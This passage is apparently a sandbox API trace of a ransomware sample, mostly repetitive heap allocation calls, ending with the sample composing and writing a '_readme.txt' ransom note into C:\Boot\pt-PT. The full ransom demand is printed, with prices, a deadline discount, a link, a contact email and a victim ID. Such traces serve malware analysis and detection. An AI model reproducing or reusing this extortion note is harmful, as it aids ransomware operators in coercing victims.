hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.302] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.304] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.304] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.306] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.306] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.306] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.306] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.306] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.306] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.306] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.306] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.306] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0124.306] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.306] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.306] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.306] PathFindFileNameW (pszPath="") returned="" [0124.306] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.306] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.306] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.306] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.306] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.306] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.306] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.306] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0124.306] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0124.307] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.307] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.307] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.307] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) 